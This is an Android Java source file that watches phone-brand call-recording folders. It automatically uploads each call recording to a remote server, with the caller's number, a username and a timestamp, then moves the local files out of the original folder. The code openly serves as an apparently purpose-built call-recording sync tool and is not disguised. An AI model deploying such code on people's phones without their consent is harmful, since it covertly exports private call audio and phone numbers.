package com.example.pyphone3;

import android.os.Environment;
import android.os.FileObserver;
import android.os.Looper;
import android.util.Log;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * SD卡中的目录创建监听器。
 *
 * @author mayingcai
 */
public class SDCardListener extends FileObserver {
    private static String PhoneNum = null;
    private static String EnvironmentPath = Environment.getExternalStorageDirectory().getPath();
    SimpleDateFormat filelasttime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    private static String username = MainActivity.getName();

    public SDCardListener(String path) {
        super(path);
    }

    @Override
    public void onEvent(int event, String path) {
        SDCardListener listener = new SDCardListener(getSoundRecordingPath());
        switch (event) {
            case FileObserver.MODIFY:
                Log.d("all", "path:" + path);
                listener.startWatching();
                break;
            case FileObserver.CLOSE_WRITE:
                Log.d("all", "path:" + path);
                listener.startWatching();
                new Thread(downloadRun).start();
                break;
        }
    }

    /**
     * 下载线程
     */
    Runnable downloadRun = new Runnable() {
        @Override
        public void run() {
            Looper.prepare();
            String upUrl = "";
            File file1 = new File(EnvironmentPath + "/Sounds/CallRecord");
            if (file1.exists()) {
                File[] subFile = file1.listFiles();
                for (int iFileLength = 0; iFileLength < subFile.length; iFileLength++) {
                    if (!subFile[iFileLength].isDirectory()) {// 判断是否为文件夹
                        String filename = subFile[iFileLength].getName();
                        File file = new File(file1.toString() + "/" + filename);
                        String lasttime = filelasttime.format(file.lastModified());
                        if (file.exists()) {
                            if (file.getName().trim().toLowerCase().endsWith(".amr")) {
                                upUrl = "https://phone.yiyatest.cn/call/uploadFileToOssAmr";
                            } else {
                                upUrl = "https://phone.yiyatest.cn/call/uploadFileToOss";
                            }
                            uploadFilesHw(upUrl, file, file.getName(), lasttime);
                        }
                    }
                }
            } else {
                file1 = new File(EnvironmentPath + "/MIUI/sound_recorder/call_rec");
                if (file1.exists()) {
                    File[] subFile = file1.listFiles();
                    for (int iFileLength = 0; iFileLength < subFile.length; iFileLength++) {
                        if (!subFile[iFileLength].isDirectory()) {// 判断是否为文件夹
                            String filename = subFile[iFileLength].getName();
                            File file = new File(file1.toString() + "/" + filename);
                            String lasttime = filelasttime.format(file.lastModified());
                            if (file.exists()) {
                                if (file.getName().trim().toLowerCase().endsWith(".amr")) {
                                    upUrl = "https://phone.yiyatest.cn/call/uploadFileToOssAmr";
                                } else {
                                    upUrl = "https://phone.yiyatest.cn/call/uploadFileToOss";
                                }
                                uploadFilesXm(upUrl, file, file.getName(), lasttime);
                            }
                        }
                    }
                } else {
                    file1 = new File(EnvironmentPath + "/Record/Call");
                    if (file1.exists()) {
                        File[] subFile = file1.listFiles();
                        for (int iFileLength = 0; iFileLength < subFile.length; iFileLength++) {
                            if (!subFile[iFileLength].isDirectory()) {// 判断是否为文件夹
                                String filename = subFile[iFileLength].getName();
                                File file = new File(file1.toString() + "/" + filename);
                                String lasttime = filelasttime.format(file.lastModified());
                                if (file.exists()) {
                                    if (file.getName().trim().toLowerCase().endsWith(".amr")) {
                                        upUrl = "https://phone.yiyatest.cn/call/uploadFileToOssAmr";
                                    } else {
                                        upUrl = "https://phone.yiyatest.cn/call/uploadFileToOss";
                                    }
                                    uploadFilesVivo(upUrl, file, file.getName(), lasttime);
                                }
                            }
                        }
                    }
                }
            }
            Looper.loop();//增加部分
        }
    };

    public static String getSoundRecordingPath() {
        File soundRecordingfile = new File(EnvironmentPath + "/Sounds/CallRecord");
        if (soundRecordingfile.exists()) {
            return EnvironmentPath + "/Sounds/CallRecord";
        } else {
            soundRecordingfile = new File(EnvironmentPath + "/MIUI/sound_recorder/call_rec");
            if (soundRecordingfile.exists()) {
                return EnvironmentPath + "/MIUI/sound_recorder/call_rec";
            } else {
                soundRecordingfile = new File(EnvironmentPath + "/Record/Call");
                if (soundRecordingfile.exists()) {
                    return EnvironmentPath + "/Record/Call";
                } else {
                    return EnvironmentPath + "/Pictures";
                }
            }
        }
    }

    public static String checkNum(String num) {
        if (num == null || num.length() == 0) {
            return "";
        }
        Pattern pattern = Pattern.compile("(?<!\\d)(?:(?:1[358]\\d{9})|(?:861[358]\\d{9}))(?!\\d)");
        Matcher matcher = pattern.matcher(num);
        StringBuffer bf = new StringBuffer(64);
        while (matcher.find()) {
            bf.append(matcher.group()).append(",");
        }
        int len = bf.length();
        if (len > 0) {
            bf.deleteCharAt(len - 1);
        }
        return bf.toString();
    }

    public static boolean uploadformfile(String requestUrl, File file, String fileName, Map<String, String> params) throws Exception {
        FormFile formfile = new FormFile(fileName, file, "file", "application/octet-stream");
        boolean tf = SocketHttpRequester.post(requestUrl, params, formfile); //上传文件
        return tf;
    }

    public static void uploadFilesHw(String requestUrl, File file, String pnum, String lasttime) {
        Map<String, String> params = new HashMap<String, String>();
        params.put("pnum", file.getName());
        params.put("username", username);
        params.put("lasttime", lasttime);
        String fileName = file.getName().replace(" ", "");
        if (file.getName().contains("@")) {
            fileName = fileName.split("@")[1];
        }
        params.put("file", fileName);
        try {//请求普通信息
            FormFile formfile = new FormFile(fileName, file, "file", "application/octet-stream");
            boolean tf = SocketHttpRequester.post(requestUrl, params, formfile); //上传文件
            if (tf == true) {
                boolean copyFinish = copyTo(EnvironmentPath + "/Sounds/CallRecord/" + file.getName(), EnvironmentPath + "/Sounds/CallRecords/" + file.getName());
                if (copyFinish == true) {
                    File deletefile = new File(EnvironmentPath + "/Sounds/CallRecord/" + file.getName());
                    if (deletefile.isFile() && deletefile.exists()) {
                        deletefile.delete();
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void uploadFilesXm(String requestUrl, File file, String pnum, String lasttime) {
        Map<String, String> params = new HashMap<String, String>();
        params.put("pnum", file.getName());
        params.put("username", username);
        params.put("lasttime", lasttime);
        String fileName = file.getName().replace(" ", "");
        if (file.getName().contains("(")) {
            fileName = fileName.split("\\(")[1].replace(")", "");
        }
        params.put("file", fileName);
        try {//请求普通信息
            FormFile formfile = new FormFile(fileName, file, "file", "application/octet-stream");
            boolean tf = SocketHttpRequester.post(requestUrl, params, formfile); //上传文件
            if (tf == true) {
                boolean copyFinish = copyTo(EnvironmentPath + "/MIUI/sound_recorder/call_rec/" + file.getName(), EnvironmentPath + "/MIUI/sound_recorder/call_recs/" + file.getName());
                if (copyFinish == true) {
                    File deletefile = new File(EnvironmentPath + "/MIUI/sound_recorder/call_rec/" + file.getName());
                    if (deletefile.isFile() && deletefile.exists()) {
                        deletefile.delete();
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void uploadFilesVivo(String requestUrl, File file, String pnum, String lasttime) {
        Map<String, String> params = new HashMap<String, String>();
        params.put("pnum", file.getName());
        params.put("username", username);
        params.put("lasttime", lasttime);
        String fileName = file.getName().replace(" ", "");
        if (file.getName().contains("(")) {
            fileName = fileName.split(" ")[0];
        }
        params.put("file", fileName);
        try {//请求普通信息
            FormFile formfile = new FormFile(fileName, file, "file", "application/octet-stream");
            boolean tf = SocketHttpRequester.post(requestUrl, params, formfile); //上传文件
            if (tf == true) {
                boolean copyFinish = copyTo(EnvironmentPath + "/Record/Call/" + file.getName(), EnvironmentPath + "/Record/Calls/" + file.getName());
                if (copyFinish == true) {
                    File deletefile = new File(EnvironmentPath + "/Record/Call/" + file.getName());
                    if (deletefile.isFile() && deletefile.exists()) {
                        deletefile.delete();
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static boolean copyTo(String oldpath, String newpath) throws IOException {
        File oldfile = new File(oldpath);//文件输入流，用于读取要复制的文件
        FileInputStream fileInputStream = new FileInputStream(oldfile);//要生成的新文件(指定路径如果没有则创建)
        File newfile = new File(newpath);//获取父目录
        File fileParent = newfile.getParentFile();
        System.out.println(fileParent);
        if (!fileParent.exists()) {//判断是否存在
            fileParent.mkdirs();// 创建父目录文件夹
        }
        if (!newfile.exists()) {//判断文件是否存在
            newfile.createNewFile();//创建文件
        }
        FileOutputStream fileOutputStream = new FileOutputStream(newfile);//新文件输出流
        byte[] buffer = new byte[1024];
        int len;
//将文件流信息读取文件缓存区，如果读取结果不为-1就代表文件没有读取完毕，反之已经读取完毕
        while ((len = fileInputStream.read(buffer)) != -1) {
            fileOutputStream.write(buffer, 0, len);
            fileOutputStream.flush();
        }
        fileInputStream.close();
        fileOutputStream.close();
        return true;
    }

    /**
     * 对文件重命名
     *
     * @param filePath 文件的路径
     */
    public static void chageFileName(String filePath, String reName) {
        File file = new File(filePath);
        File newFile = new File(reName);
        file.renameTo(newFile);
    }

    public static void uploadFiles(String requestUrl, File file, String pnum) {
        Map<String, String> params = new HashMap<String, String>();
        params.put("pnum", file.getName());
        String fileName = checkNum(file.getName());
        params.put("file", fileName);
        params.put("bjpnum", PhoneNum);
        try {//请求普通信息
            boolean tf = uploadformfile(requestUrl, file, file.getName(), params);
            if (tf == true) {

            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}